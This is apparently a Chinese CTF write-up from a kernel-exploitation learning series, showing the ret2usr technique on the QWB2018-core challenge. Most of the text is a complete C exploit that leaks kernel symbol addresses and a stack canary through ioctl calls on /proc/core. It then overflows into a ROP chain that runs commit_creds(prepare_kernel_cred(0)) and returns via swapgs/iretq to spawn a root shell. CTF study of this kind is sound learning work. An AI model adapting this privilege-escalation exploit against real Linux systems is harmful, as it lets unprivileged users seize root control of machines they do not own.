继续学习 kernel pwn 相关知识,同时记录一些方法。
本文以 QWB2018-core 为例
1.前置知识
ret2usr 利用了在不开 smep 时,用户空间进程不能访问内核空间,但是内核空间空间可以执行用户空间代码的这一特性。这样的话,就可以不用构造 rop 链,直接在内核空间跳到用户空间的 getshell 的代码上执行,这些 getshell 的代码可以自己编写,最终达到在非 root 用户下提权的目的。
2.题目分析
见 kernel pwn 系列二即可。
3.完整exp
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t user_cs,user_ss,user_rflags,user_sp;
size_t commit_creds=0,prepare_kernel_cred=0;
size_t vmlinux_base;
void save_status()
{
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] status has been saved.");
}
void BeRoot()
{
char* (*fun1)(int) = prepare_kernel_cred;
void (*fun2)(char*) = commit_creds;
(*fun2)((*fun1)(0));
}
void GetRootShell()
{
if(!getuid()){
system("/bin/sh");
}
else{
puts("[*] get root shell error!");
}
}
size_t FindVmlinuxBase()
{
int fd = fopen("/tmp/kallsyms","r");
if(fd == -1){
puts("[*]open symbol file failed.");
}
char buf[0x30] = {0};
while(fgets(buf,0x30,fd)){
if(commit_creds && prepare_kernel_cred)
return 0;
if(strstr(buf,"commit_creds") && !commit_creds){
char hex[0x20] = {0};
strncpy(hex,buf,0x10);
sscanf(hex,"%llx",&commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("[*]vmlinux base => %llx\n",vmlinux_base);
}
if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
char hex[0x20] = {0};
strncpy(hex,buf,0x10);
sscanf(hex,"%llx",&prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
printf("[*]vmlinux base => %llx\n",vmlinux_base);
}
}
}
size_t raw_vmlinux_base = 0xffffffff81000000;
int main()
{
save_status();
FindVmlinuxBase();
printf("[*]prepare_kernel_cred addr:%p\n",prepare_kernel_cred);
printf("[*]commit_creds addr:%p\n",commit_creds);
//leak sth
int core_fd = open("/proc/core",2);
char* user_buf = (char*)malloc(0x50*sizeof(char));
memset(user_buf,0,sizeof(char)*0x50);
//set off=0x40
ioctl(core_fd,0x6677889C,0x40);
//read to user_buf
ioctl(core_fd,0x6677889B,user_buf);
size_t canary = ((size_t*)user_buf)[0];
printf("[*]leaked canary:%p",canary);
//rops
size_t rop[0x1000];
int i = 0;
size_t offset = vmlinux_base - raw_vmlinux_base;
for(i=0;i<10;i++)
rop[i] = canary;
rop[i++] = BeRoot;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)GetRootShell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(core_fd, rop, 0x800);
ioctl(core_fd, 0x6677889a,0xffffffffffff0000 | (0x100));
return 0;
}
那如果开了 smep 保护怎么办呢?
就是上一节记录的纯 rop 即可。
参考链接:
[1] https://ama2in9.top/2020/09/03/kernel/